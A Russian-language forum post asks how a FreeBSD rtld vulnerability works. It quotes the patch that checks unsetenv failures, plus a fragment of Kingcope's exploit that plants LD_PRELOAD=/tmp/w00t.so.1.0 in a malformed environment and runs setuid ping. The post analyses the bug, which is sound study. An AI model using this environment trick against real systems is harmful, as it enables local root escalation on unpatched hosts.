Кто-нибудь из матёрых BSD-шников разъяснит мне (человеку, к FreeBSD не очень близкому) в чём проблема?
Все трактковки, которые я видел, звучали примерно так: не очищаются переменные окружения. Но если посмотреть на патч
...
if (!trust) {
- unsetenv(LD_ "PRELOAD");
- unsetenv(LD_ "LIBMAP");
- unsetenv(LD_ "LIBRARY_PATH");
- unsetenv(LD_ "LIBMAP_DISABLE");
- unsetenv(LD_ "DEBUG");
- unsetenv(LD_ "ELF_HINTS_PATH");
+ if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+ unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+ unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+ _rtld_error("environment corrupt; aborting");
+ die();
+ }
}
...
то становится ясно - проблема в том, что unsetenv вываливалась с ошибкой и не изменяла значение переменной. (Поправьте, если ошибаюсь)
Далее посмотрим на подозрительный код эксплойта:
...
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
...
Либо автор употребляет в-ва, либо он что-то знает и не говорит. (Поправьте, если ошибаюсь)
Кроме того фраза Kingcope'а "Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su"" настораживает.
На сколько я понял уязвимость в unsetenv, нет?